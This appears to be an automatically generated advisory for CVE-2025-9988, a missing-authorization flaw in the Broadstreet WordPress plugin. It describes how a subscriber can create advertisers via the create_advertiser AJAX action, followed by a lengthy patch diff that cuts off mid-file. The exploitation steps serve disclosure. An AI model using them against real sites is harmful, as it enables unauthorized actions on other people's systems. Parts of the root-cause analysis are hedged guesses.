Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2025-9988: Broadstreet <= 1.53.1 – Missing Authorization to Authenticated (Subscriber+) Advertiser Creation (broadstreet)

CVE ID CVE-2025-9988
Plugin broadstreet
Severity Medium (CVSS 4.3)
CWE 285
Vulnerable Version 1.53.1
Patched Version 1.53.2
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-9988: This vulnerability affects the Broadstreet WordPress plugin version 1.53.1 and earlier. It allows authenticated attackers with Subscriber-level access to create advertisers without proper authorization. The issue resides in the AJAX handler that processes advertiser creation requests. The CVSS score is 4.3, indicating a moderate severity risk due to the low complexity and authenticated access requirement but limited impact scope.

Root Cause: The create_advertiser AJAX action registered via ‘wp_ajax_create_advertiser’ in Broadstreet/Core.php (line ~105-110) called Broadstreet_Ajax::createAdvertiser() without a capability check in the vulnerable version. The patched version introduces a new file Broadstreet/Ajax.php which contains the createAdvertiser() method. In the patched code, line 60-64 explicitly checks current_user_can(‘manage_options’) before allowing execution. The original code did not include this permission validation, allowing any authenticated user (Subscriber+) to trigger the API call.

Exploitation: An attacker with a Subscriber-level account sends a POST request to /wp-admin/admin-ajax.php with action=create_advertiser, a valid nonce (which can be obtained from any admin-facing page the subscriber can access), and the ‘name’ parameter. The nonce is checked but the permission check was missing, so any user who knows the action hook can create advertisers via the Broadstreet API. The attack does not require special privileges beyond standard authentication.

Patch Analysis: The patch (version 1.53.2) introduces a new Broadstreet_Ajax class with the createAdvertiser() method that first verifies nonce via check_ajax_referer(‘broadstreet_ajax_nonce’, ‘nonce’) and then checks if the current user has ‘manage_options’ capability. Before the patch, either the AJAX handler was registered to a different callback that lacked the capability check, or the handler itself did not enforce it. The new code in Broadstreet/Ajax.php lines 56-68 adds: if (!current_user_can(‘manage_options’)) { wp_die(…) }.

Impact: An authenticated Subscriber-level attacker can create advertisers in the connected Broadstreet network. This could lead to unauthorized resource creation, potential spam or abuse of the advertising platform, and potential indirect financial impact if advertising inventory is consumed. The attack does not expose data or provide full administrative access but does bypass intended business logic restrictions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/broadstreet/Broadstreet/Config.php
+++ b/broadstreet/Broadstreet/Config.php
@@ -140,4 +140,4 @@
     }
 }

-define('BROADSTREET_VERSION', '1.53.1');
+define('BROADSTREET_VERSION', '1.53.2');
--- a/broadstreet/broadstreet.php
+++ b/broadstreet/broadstreet.php
@@ -3,7 +3,7 @@
 Plugin Name: Broadstreet
 Plugin URI: http://broadstreetads.com
 Description: Integrate Broadstreet business directory and adserving power into your site
-Version: 1.53.1
+Version: 1.53.2
 Tested up to: 6.9
 Author: Broadstreet
 Author URI: http://broadstreetads.com
--- a/broadstreet/trunk/Broadstreet/Ajax.php
+++ b/broadstreet/trunk/Broadstreet/Ajax.php
@@ -0,0 +1,193 @@
+<?php
+/**
+ * This file contains a class which provides the AJAX callback functions required
+ *  for Broadstreet.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class containing functions for the AJAX functionality in Broadstreet. These
+ *  aren't executed directly by any Broadstreet code -- they are registered with
+ *  the Wordpress hooks in Broadstreet_Core::_registerHooks(), and called as needed
+ *  by the front-end and Wordpress. All of these methods output JSON.
+ */
+class Broadstreet_Ajax
+{
+    /**
+     * Save a boolean value of whether to index comments on the next rebuild
+     */
+    public static function saveSettings()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
+        // Sanitize the API key before storing it
+        $api_key = sanitize_text_field($_POST['api_key']);
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $api_key);
+
+        // Sanitize network_id as an integer
+        $network_id = isset($_POST['network_id']) ? intval($_POST['network_id']) : -1;
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $network_id);
+
+        // Sanitize business_enabled as a boolean
+        $business_enabled = ($_POST['business_enabled'] === 'true');
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_BIZ_ENABLED, $business_enabled);
+
+        $api = Broadstreet_Utility::getBroadstreetClient();
+        $message = 'OK';
+
+        try
+        {
+            $networks  = $api->getNetworks();
+            $key_valid = true;
+
+            if($network_id == -1)
+            {
+                Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $networks[0]->id);
+            }
+
+            //Broadstreet_Utility::refreshZoneCache();
+        }
+        catch(Exception $ex)
+        {
+            $networks = array();
+            $key_valid = false;
+            $message = $ex->__toString();
+
+            # Clear any options that aren't valid following the failed API key config
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_BIZ_ENABLED, FALSE);
+        }
+
+        die(json_encode(array('success' => true, 'key_valid' => $key_valid, 'networks' => $networks, 'message' => $message)));
+    }
+
+    /**
+     *
+     */
+    public static function saveZoneSettings()
+    {
+        // Verify nonce (passed as URL parameter) and check user permissions
+        // Note: Using $_GET since nonce is in URL, not in php://input JSON body
+        if (!isset($_GET['nonce']) || !wp_verify_nonce($_GET['nonce'], 'broadstreet_ajax_nonce')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Security check failed')));
+        }
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $settings = json_decode(file_get_contents("php://input"));
+
+        if($settings)
+        {
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_PLACEMENTS, $settings);
+            $success = true;
+        }
+        else
+        {
+            $success = false;
+        }
+
+        die(json_encode(array('success' => true)));
+    }
+
+    public static function createAdvertiser()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
+        $api_key    = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_API_KEY);
+        $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);
+
+        $api        = Broadstreet_Utility::getBroadstreetClient();
+        // Sanitize advertiser name to prevent XSS
+        $name       = sanitize_text_field(stripslashes($_POST['name']));
+        $advertiser = $api->createAdvertiser($network_id, $name);
+
+        die(json_encode(array('success' => true, 'advertiser' => $advertiser)));
+    }
+
+    public static function getSponsorPostMeta() {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $post_id = isset($_GET['post_id']) ? intval($_GET['post_id']) : 0;
+
+        // Verify user has permission to edit this post (fixes IDOR vulnerability)
+        if (!current_user_can('edit_post', $post_id)) {
+            die(json_encode(array('success' => false, 'error' => 'Permission denied')));
+        }
+
+        // Verify nonce and referer (fixes CSRF vulnerability)
+        check_ajax_referer('broadstreet_sponsor_nonce', '_wpnonce');
+
+        die(json_encode(array('success' => true, 'meta' => Broadstreet_Utility::getAllPostMeta($post_id))));
+    }
+
+    public static function importFacebook()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
+
+        try
+        {
+            $profile = Broadstreet_Utility::importBusiness(sanitize_text_field($_POST['id']), $post_id);
+            die(json_encode(array('success' => (bool)$profile, 'profile' => $profile)));
+        }
+        catch(Broadstreet_ServerException $ex)
+        {
+            die(json_encode(array('success' => false, 'message' => ($ex->error ? $ex->error->message : 'Server error. This issue has been reported to the folks at Broadstreet.'))));
+        }
+    }
+
+    public static function register()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+
+        $api = Broadstreet_Utility::getBroadstreetClient(true);
+
+        try
+        {
+            # Register the user by email address
+            $resp = $api->register(sanitize_email($_POST['email']));
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $resp->access_token);
+
+            # Create a network for the new user
+            $resp = $api->createNetwork(get_bloginfo('name'));
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $resp->id);
+
+            die(json_encode(array('success' => true, 'network' => $resp)));
+        }
+        catch(Exception $ex)
+        {
+            die(json_encode(array('success' => false, 'error' => $ex->__toString())));
+        }
+    }
+}
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Benchmark.php
+++ b/broadstreet/trunk/Broadstreet/Benchmark.php
@@ -0,0 +1,53 @@
+<?php
+/**
+ * This file contains a class for measuring performance of the search requests
+ *  and internal functionality.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class for helping to measure and log performance. Essentially, acts as
+ *  a easy to use timer
+ */
+class Broadstreet_Benchmark
+{
+    private static $_timers = array();
+
+    /**
+     * Start a timer for a given description. Writes the starting point to the
+     *  log automatically.
+     * @param string $timer_description A unique string that describes this timer
+     */
+    public static function start($timer_description = 'Anonymous Timer')
+    {
+        self::$_timers[$timer_description] = microtime(true);
+        Broadstreet_Log::add('info', "Starting benchmark: $timer_description");
+    }
+
+    /**
+     * The name of a timer that has already been started. Writes the stopping
+     *  point and result to the log automatically
+     * @param string $timer_description The description of a timer that has
+     *  already been started
+     * @return The number of seconds elapsed if the timer exists, false if it
+     *  doesn't
+     */
+    public static function stop($timer_description)
+    {
+        if(array_key_exists($timer_description, self::$_timers))
+        {
+            $start   = self::$_timers[$timer_description];
+            $stop    = microtime(true);
+            $seconds = round($stop - $start, 6);
+
+            Broadstreet_Log::add('info', "Stopped benchmark: $seconds seconds for '$timer_description'");
+            return $seconds;
+        }
+        else
+        {
+            Broadstreet_Log::add('warn', "Unknown benchmark 'stopped': $timer_description");
+            return FALSE;
+        }
+    }
+}
--- a/broadstreet/trunk/Broadstreet/Cache.php
+++ b/broadstreet/trunk/Broadstreet/Cache.php
@@ -0,0 +1,164 @@
+<?php
+/**
+ * Contains a class for caching things programmatically in Wordpress.
+ *  Great for caching things that are a little expensive, like pulling a
+ *  Twitter feed or something else.
+ *
+ * Usage:
+ *  # $bigthing is some object that took a long time to get/compute with
+ *  # get_bigthing. We want to cache it for an hour or so.
+ *
+ *  if(!($bigthing = WPEasyCache::get('bigthing', FALSE)))
+ *  {
+ *      $bigthing = get_bigthing();
+ *      WPEasyCache::set('bigthing', $bigthing, 60*60); # Expire in 1 hour
+ *  }
+ *
+ *  # Do some stuff with $bigthing
+ *
+ * @author Kenny Katzgrau, Katzgrau LLC <kenny@katgrau.com> www.katzgau.com
+ * @link https://github.com/katzgrau/WP-Easy-Cache
+ */
+
+/**
+ * WPEasyCache - A class for quickly caching strings n' things (or any object)
+ *  in Wordpress. Uses the Wordpress options functions as the backend.
+ */
+class Broadstreet_Cache
+{
+    const CACHE_PREFIX          = 'WPEASYCACHE_';
+    const MAX_KEY_LENGTH        = 32;
+
+    private static $_isWPLoaded = FALSE;
+
+    /**
+     * Get an item from the cache by key
+     * @param string $key The name the name of the cache item
+     * @param bool $force Force a value if it exists, even if it's expired
+     * @param mixed $default
+     * @return mixed
+     */
+    public static function get($key, $default = FALSE, $force = FALSE)
+    {
+        $key   = self::_prepareKey($key);
+        $value = self::_getOption($key, FALSE);
+
+        # No value at all? return the default
+        if($value === FALSE) return $default;
+
+        # Now we must have a value. Unserialize and check expiration.
+        $value = @json_decode($value);
+
+        # Uh oh, couldn't unserialize
+        if(!is_object($value)) throw new Exception("$key value wasn't decodable.");
+
+        $expire = $value->expire;
+        $value  = $value->value;
+
+        # No expiration?
+        if($expire === FALSE) return $value;
+
+        # Expired?
+        if($force || (time() < $expire))
+            return $value;
+        else
+            return $default;
+    }
+
+    /**
+     * Set a cache key item
+     * @param string $key
+     * @param mixed $value
+     * @param int $expire Number of seconds to expire in. Default is no expiration (FALSE)
+     */
+    public static function set($key, $value, $expire = FALSE)
+    {
+        $key   = self::_prepareKey($key);
+        $cache = array (
+            'value'  => $value,
+            'expire' => ($expire === FALSE ? $expire : time() + $expire)
+        );
+
+        $cache = json_encode($cache);
+
+        self::_setOption($key, $cache);
+    }
+
+    public static function delete($key)
+    {
+        throw new Exception("Not implemented yet");
+    }
+
+    public static function flush()
+    {
+        throw new Exception("Not implemented yet");
+    }
+
+    /**
+     * Prepare a string to be used as a cache key
+     * @param string $key
+     */
+    private static function _prepareKey($key)
+    {
+        if(!is_string($key))
+            throw new Exception('Key must be a string');
+
+        $key = preg_replace('/[^a-zA-Z0-9-_.]/s', '#', $key);
+
+        if(strlen($key) > self::MAX_KEY_LENGTH)
+            $key = substr($key, 0, self::MAX_KEY_LENGTH);
+
+        $key = self::CACHE_PREFIX . $key;
+
+        return $key;
+    }
+
+    /**
+     * Sets a Wordpress option
+     * @param string $name The name of the option to set
+     * @param string $value The value of the option to set
+     */
+    private static function _setOption($name, $value)
+    {
+        self::_checkWP();
+
+        if (get_option($name) !== FALSE)
+        {
+            update_option($name, $value);
+        }
+        else
+        {
+            add_option($name, $value);
+        }
+    }
+
+    /**
+     * Gets a Wordpress option
+     * @param string    $name The name of the option
+     * @param mixed     $default The default value to return if one doesn't exist
+     * @return string   The value if the option does exist
+     */
+    private static function _getOption($name, $default = FALSE)
+    {
+        self::_checkWP();
+
+        $value = get_option($name);
+        if( $value !== FALSE ) return $value;
+        return $default;
+    }
+
+    /**
+     * Check to see if Wordpress is laoded, throw an exception if it isn't
+     * @throws Exception
+     */
+    private static function _checkWP()
+    {
+        if(self::$_isWPLoaded) return;
+
+        if(!function_exists('get_option'))
+            throw new Exception ('Wordpress must be fully loaded before using ' . __CLASS__);
+
+        self::$_isWPLoaded = TRUE;
+    }
+
+}
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Config.php
+++ b/broadstreet/trunk/Broadstreet/Config.php
@@ -0,0 +1,143 @@
+<?php
+/**
+ * This file contains a class which holds Broadstreet's configuration information
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class which acts as the source and accessor of all of Broadstreet's configuration
+ *  information.
+ */
+class Broadstreet_Config
+{
+    /**
+     * Load up all of Broadstreet's configuration values. This currently where
+     *  configuration otpions should be set too..
+     */
+    public function setConfig()
+    {
+        $config = array();
+        # Set config values below
+
+        $config['zone_cache_ttl_seconds']    = 60*10; // 15 minutes
+        $config['network_cache_ttl_seconds'] = 60*30; // 30 minutes
+
+        $config['log'] = array (
+
+            'level'     => Broadstreet_Log::OFF,
+            'directory' => dirname(__FILE__) . '/Logs'
+
+        );
+
+        # End config
+        $this->_config = $config;
+    }
+
+    /**
+     * The instance of this config class
+     * @var Broadstreet_Config
+     */
+    private static $_instance = NULL;
+
+    /**
+     * The config array for this class
+     * @var array
+     */
+    private $_config          = NULL;
+
+    /**
+     * The constructor for this class
+     */
+    public function __construct()
+    {
+        $this->setConfig();
+    }
+
+    /**
+     * Set a configuration value
+     * @param string $key The key to store the variable as
+     * @param string $value The value to store for the key
+     * @return mixed The value that was set
+     */
+    public static function set($key, $value)
+    {
+        return self::_getInstance()->setValue($key, $value);
+    }
+
+    /**
+     *
+     * @param string $key The key of the config value to retrieve. If the
+     *  config item is nested in subarrays, you can use dot-separated strings
+     *  to specifykey items. For example, given a config setup like:
+     *
+     *  $config['example-config'] = array (
+     *      'test' = array (
+     *          port => '12345',
+     *          host => 'localhost'
+     *      )
+     *  )
+     *
+     * I could use Broadstreet_Config::get('example-config.test.port') to get
+     *  the port.
+     * @param string $default A value to return if the key wasn't found
+     * @return string The configuration value
+     */
+    public static function get($key = FALSE, $default = FALSE)
+    {
+        return self::_getInstance()->getValue($key, $default);
+    }
+
+    /**
+     * Set an internal config value. This is not meant to be called directly
+     *  outside of this class.
+     * @param string $key The key to store the variable as
+     * @param string $value The value to store for the key
+     * @return mixed The value that was set
+     */
+    public function setValue($key, $value)
+    {
+        return $this->_config[$key] = $value;
+    }
+
+    /**
+     * The internal method for getting a config value. This method is not meant
+     *  to be accessed directly outside of this class, so use Broadstreet_Config::get()
+     *  instead.
+     * @param string $key The config value name
+     * @param string $default A value to return if the key wasn't found
+     * @return string The configuration value
+     */
+    public function getValue($key = FALSE, $default = FALSE)
+    {
+        if($key === FALSE)
+            return $this->_config;
+
+        $config = $this->_config;
+        $keys   = explode('.', $key);
+
+        foreach($keys as $key)
+        {
+            if(array_key_exists($key, $config))
+                $config = $config[$key];
+            else
+                return $default;
+        }
+
+        return $config;
+    }
+
+    /**
+     * Return the instance of this class
+     * @return Broadstreet_Config
+     */
+    private static function _getInstance()
+    {
+        if(self::$_instance === NULL)
+            self::$_instance = new self();
+
+        return self::$_instance;
+    }
+}
+
+define('BROADSTREET_VERSION', '1.53.2');
--- a/broadstreet/trunk/Broadstreet/Core.php
+++ b/broadstreet/trunk/Broadstreet/Core.php
@@ -0,0 +1,1558 @@
+<?php
+/**
+ * This file acts as the 'Controller' of the application. It contains a class
+ *  that will load the required hooks, and the callback functions that those
+ *  hooks execute.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+require_once dirname(__FILE__) . '/Ajax.php';
+require_once dirname(__FILE__) . '/Cache.php';
+require_once dirname(__FILE__) . '/Config.php';
+require_once dirname(__FILE__) . '/Benchmark.php';
+require_once dirname(__FILE__) . '/Log.php';
+require_once dirname(__FILE__) . '/Model.php';
+require_once dirname(__FILE__) . '/Net.php';
+require_once dirname(__FILE__) . '/Utility.php';
+require_once dirname(__FILE__) . '/View.php';
+require_once dirname(__FILE__) . '/Widget.php';
+require_once dirname(__FILE__) . '/Exception.php';
+require_once dirname(__FILE__) . '/Vendor/Broadstreet.php';
+
+if (! class_exists('Broadstreet_Core')):
+
+/**
+ * This class contains the core code and callback for the behavior of Wordpress.
+ *  It is instantiated and executed directly by the Broadstreet plugin loader file
+ *  (which is most likely at the root of the Broadstreet installation).
+ */
+class Broadstreet_Core
+{
+    CONST KEY_API_KEY             = 'Broadstreet_API_Key';
+    CONST KEY_NETWORK_ID          = 'Broadstreet_Network_Key';
+    CONST KEY_BIZ_ENABLED         = 'Broadstreet_Biz_Enabled';
+    CONST KEY_INSTALL_REPORT      = 'Broadstreet_Installed';
+    CONST KEY_SHOW_OFFERS         = 'Broadstreet_Offers';
+    CONST KEY_PLACEMENTS          = 'Broadstreet_Placements';
+    CONST BIZ_POST_TYPE           = 'bs_business';
+    CONST BIZ_TAXONOMY            = 'business_category';
+    CONST BIZ_SLUG                = 'businesses';
+
+    public static $_disableAds = false;
+    public static $_rssCount = 0;
+    public static $_rssIndex = 0;
+
+    /**
+     * Default values for sponsored meta fields
+     */
+    public static $_sponsoredDefaults = array (
+        'bs_sponsor_advertiser_id' => '',
+        'bs_sponsor_advertisement_id' => '',
+        'bs_sponsor_is_sponsored' => ''
+    );
+
+    /**
+     * Default values for sponsored meta fields
+     */
+    public static $_visibilityDefaults = array (
+        'bs_ads_disabled' => ''
+    );
+
+    /**
+     * Default values for the businesses meta fields
+     * @var type
+     */
+    public static $_businessDefaults = array (
+        'bs_advertiser_id' => '',
+        'bs_advertisement_id' => '',
+        'bs_advertisement_html' => '',
+        'bs_update_source' => '',
+        'bs_facebook_id' => '',
+        'bs_facebook_hashtag' => '',
+        'bs_twitter_id' => '',
+        'bs_twitter_hashtag' => '',
+        'bs_phone_number' => '',
+        'bs_address_1' => '',
+        'bs_address_2' => '',
+        'bs_city' => '',
+        'bs_state' => '',
+        'bs_postal' => '',
+        'bs_latitude' => '',
+        'bs_longitude' => '',
+        'bs_phone'   => '',
+        'bs_hours' => '',
+        'bs_website' => '',
+        'bs_menu' => '',
+        'bs_publisher_review' => '',
+        'bs_twitter' => '',
+        'bs_facebook' => '',
+        'bs_gplus' => '',
+        'bs_images' => array(),
+        'bs_yelp' => '',
+        'bs_video' => '',
+        'bs_offer' => '',
+        'bs_offer_link' => '',
+        'bs_monday_open' => '', 'bs_monday_close' => '',
+        'bs_tuesday_open' => '', 'bs_tuesday_close' => '',
+        'bs_wednesday_open' => '', 'bs_wednesday_close' => '',
+        'bs_thursday_open' => '', 'bs_thursday_close' => '',
+        'bs_friday_open' => '', 'bs_friday_close' => '',
+        'bs_saturday_open' => '', 'bs_saturday_close' => '',
+        'bs_sunday_open' => '', 'bs_sunday_close' => '',
+        'bs_featured_business' => '0'
+    );
+
+    public static $globals = null;
+
+    /**
+     * The constructor
+     */
+    public function __construct()
+    {
+        Broadstreet_Log::add('debug', "Broadstreet initializing..");
+    }
+
+    /**
+     * Get the Broadstreet environment loaded and register Wordpress hooks
+     */
+    public function execute()
+    {
+        $this->_registerHooks();
+    }
+
+    /**
+     * Get a Broadstreet client
+     */
+    public function getBroadstreetClient()
+    {
+        return Broadstreet_Utility::getBroadstreetClient();
+    }
+
+    /**
+     * Register Wordpress hooks required for Broadstreet
+     */
+    private function _registerHooks()
+    {
+        Broadstreet_Log::add('debug', "Registering hooks..");
+
+        # -- Below is core functionality --
+        add_action('admin_menu', 	array($this, 'adminCallback'     ));
+        add_action('admin_enqueue_scripts', array($this, 'adminStyles'));
+        add_action('admin_init', 	array($this, 'adminInitCallback' ));
+        add_action('wp_enqueue_scripts',          array($this, 'addCDNScript' ));
+        add_filter('script_loader_tag',          array($this, 'finalizeZoneTag' ));
+        add_action('init',          array($this, 'businessIndexSidebar' ));
+        add_action('admin_notices',     array($this, 'adminWarningCallback'));
+        add_action('widgets_init', array($this, 'registerWidget'));
+        add_shortcode('broadstreet', array($this, 'shortcode'));
+        add_filter('image_size_names_choose', array($this, 'addImageSizes'));
+        add_action('wp_footer', array($this, 'addPoweredBy'));
+        # -- Ad injection
+        add_action('wp_body_open', array($this, 'addAdsPageTop' ));
+        add_filter('the_content', array($this, 'addAdsContent'), 20);
+        add_filter('the_content_feed', array($this, 'addRSSMacros'), 20);
+        add_action('loop_end', array($this, 'addAdsLoopEnd'), 20);
+        #add_action('comment_form_before', array($this, 'addAdsBeforeComments'), 1);
+        add_filter('comments_template', array($this, 'addAdsBeforeComments'), 20);
+
+        if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
+			add_action('post_updated', array($this, 'saveSponsorPostMeta'), 20);
+			add_action('transition_post_status', array($this, 'monitorForScheduledPostStatus'), 20, 10, 3);
+        }
+
+        add_action('post_updated', array($this, 'saveAdVisibilityMeta'), 20);
+
+        // only fires on newspack
+        add_action('get_template_part_template-parts/header/entry', array($this, 'addNewspackAfterTitleAd'));
+        add_action('after_header', array($this, 'addNewspackHeaderAd'));
+        add_action('before_footer', array($this, 'addNewspackFooterAd'));
+        add_filter('rest_pre_echo_response', array($this, 'addNewspackNewsletterMeta'));
+
+        // only fires on wpp
+        // add_action('get_template_part_loop-templates/content-single-camp', array($this, 'getTrackerContent'));
+
+        # -- Below are all business-related hooks
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            add_action('init', array($this, 'createPostTypes'));
+            add_action('wp_enqueue_scripts', array($this, 'addPostStyles'));
+            add_action('pre_get_posts', array($this, 'modifyPostListing'));
+            add_filter('the_content', array($this, 'postTemplate'), 20);
+            add_filter('the_posts', array($this, 'businessQuery'));
+            add_filter('comment_form_defaults', array($this, 'commentForm'));
+            add_action('save_post', array($this, 'savePostMeta'));
+            add_shortcode('businesses', array($this, 'businesses_shortcode'));
+        }
+
+        # - Below are partly business-related
+        add_action('add_meta_boxes', array($this, 'addMetaBoxes'));
+
+        # RSS Zones, 1.0 and 2.0
+        add_action('rss2_item', array($this, 'addRSSZone'));
+        add_action('rss_item', array($this, 'addRSSZone'));
+
+
+
+        # -- Below is administration AJAX functionality
+        add_action('wp_ajax_bs_save_settings', array('Broadstreet_Ajax', 'saveSettings'));
+        add_action('wp_ajax_create_advertiser', array('Broadstreet_Ajax', 'createAdvertiser'));
+        add_action('wp_ajax_import_facebook', array('Broadstreet_Ajax', 'importFacebook'));
+        add_action('wp_ajax_register', array('Broadstreet_Ajax', 'register'));
+        add_action('wp_ajax_save_zone_settings', array('Broadstreet_Ajax', 'saveZoneSettings'));
+        add_action('wp_ajax_get_sponsored_meta', array('Broadstreet_Ajax', 'getSponsorPostMeta'));
+
+        add_action('rest_api_init', function () {
+            # /wp-json/broadstreet/v1/targets
+            register_rest_route('broadstreet/v1', '/targets', array(
+              'methods' => 'GET',
+              'callback' => function($request) {
+                return Broadstreet_Utility::getAvailableTargets();
+              },
+              'permission_callback' => '__return_true', # public
+            ));
+
+            # /wp-json/broadstreet/v1/refresh
+            register_rest_route('broadstreet/v1', '/refresh', array(
+                'methods' => 'GET',
+                'callback' => function($request) {
+                  $info = Broadstreet_Utility::getNetwork(true);
+                  return [
+                      'success' => $info ? true : false
+                  ];
+                },
+                'permission_callback' => '__return_true', #public
+              ));
+        });
+    }
+
+
+    public function getTrackerContent($content = '') {
+        $code = Broadstreet_Utility::getTrackerCode();
+
+        if (!strstr($content, 'template-parts/')) {
+            return $content . $code;
+        } else {
+            echo $code;
+            return;
+        }
+    }
+
+    public function addRSSZone() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        $home_url = get_home_url();
+
+        $in_rss_feed = property_exists($placement_settings, 'in_rss_feed') && $placement_settings->in_rss_feed;
+        if ($in_rss_feed) {
+            $rss_interval = intval($placement_settings->in_rss_feed_interval);
+            if (!$rss_interval) {
+                $rss_interval = 1;
+            }
+
+            $index = self::$_rssIndex;
+            $time = time();
+
+            if ((self::$_rssCount + 1) % $rss_interval == 0) {
+                echo "<source url="$home_url"><![CDATA[{$index}?ds=true&seed=$time]]></source>";
+                self::$_rssIndex++;
+            } else {
+                $index = '-1';
+                echo "<source url="$home_url"><![CDATA[{$index}?ds=true&seed=$time]]></source>";
+            }
+
+            self::$_rssCount++;
+        }
+    }
+
+    public function addNewspackNewsletterMeta($data) {
+        if (is_array($data) && isset($data['mjml'])) {
+            $cachebuster = time();
+            $data['mjml'] = preg_replace('/BROADSTREET_RANDOM/i', $cachebuster, $data['mjml']);
+        }
+        return $data;
+    }
+
+    public function addNewspackAfterTitleAd() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_before_title') && $placement_settings->newspack_before_title) {
+            echo Broadstreet_Utility::getZoneCode($placement_settings->newspack_before_title);
+        }
+    }
+
+    public function addNewspackHeaderAd($slug) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_after_header') && $placement_settings->newspack_after_header) {
+            $padding = '25';
+            if (property_exists($placement_settings, 'newspack_after_header_padding') && $placement_settings->newspack_after_header_padding) {
+                $padding = $placement_settings->newspack_after_header_padding;
+            }
+            echo '<section class="newspack-broadstreet-header" style="text-align:center; padding: ' . $padding . 'px;">' . Broadstreet_Utility::getZoneCode($placement_settings->newspack_after_header) . '</section>';
+        }
+    }
+
+    public function addNewspackFooterAd($slug) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_before_footer') && $placement_settings->newspack_before_footer) {
+            $padding = '25';
+            if (property_exists($placement_settings, 'newspack_before_footer_padding') && $placement_settings->newspack_before_footer_padding) {
+                $padding = $placement_settings->newspack_before_footer_padding;
+            }
+            echo '<section class="newspack-broadstreet-footer" style="text-align:center; padding: ' . $padding . 'px;">' . Broadstreet_Utility::getZoneCode($placement_settings->newspack_before_footer) . '</section>';
+        }
+    }
+
+    public function addAdsPageTop() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'above_page') && $placement_settings->above_page) {
+            echo Broadstreet_Utility::getZoneCode($placement_settings->above_page);
+        }
+
+        if (property_exists($placement_settings, 'amp_sticky') && $placement_settings->amp_sticky) {
+            echo "<amp-sticky-ad layout='nodisplay'>" . Broadstreet_Utility::getZoneCode($placement_settings->amp_sticky, array('layout' => false)) . "</amp-sticky-ad>";
+        }
+
+    }
+
+    public function addRSSMacros($content) {
+        $content = str_replace('%%timestamp%%', time(), $content);
+        return $content;
+    }
+
+    public function addAdsContent($content) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        $above_content = property_exists($placement_settings, 'above_content') && $placement_settings->above_content;
+        $below_content = property_exists($placement_settings, 'below_content') && $placement_settings->below_content;
+        $in_content = property_exists($placement_settings, 'in_content') && $placement_settings->in_content;
+
+        $content = str_replace('%%timestamp%%', time(), $content);
+
+        if (is_single()) {
+
+            if ($in_content) {
+
+                $in_content_paragraph = property_exists($placement_settings, 'in_content_paragraph') ? $placement_settings->in_content_paragraph : '4';
+                if (!$in_content_paragraph) {
+                    $in_content_paragraph = '4';
+                }
+
+                try {
+                    $in_content_paragraph = array_map('intval', array_map('trim', explode(',', $in_content_paragraph)));
+                } catch (Exception $e) {
+                    // user error
+                    $in_content_paragraph = array(4);
+                }
+
+                /* Now handle in-content */
+                if (!stristr($content, '[broadstreet zone') && !stristr($content, '<broadstreet-zone') && !stristr($content, 'broadstreetads')) { # last one is for <amp-ad>
+                    /* Split the content into paragraphs, clear out anything that is only whitespace */
+                    /* The first lookbehind makes sure we don't match empty paragraphs,
+                        the last lookahead makes sure we don't match special blocks that wrap a paragraph */
+                    $pieces = preg_split('#(?<!<p>)</p>(?!s*</div>)#', $content);
+
+                    if (count($pieces) <= 1 && ($above_content || $below_content)) {
+                        # One paragraph
+                        #return "$contentnn" . $in_story_zone;
+                    }
+
+                    # each insertion increases the offset of the next paragraph
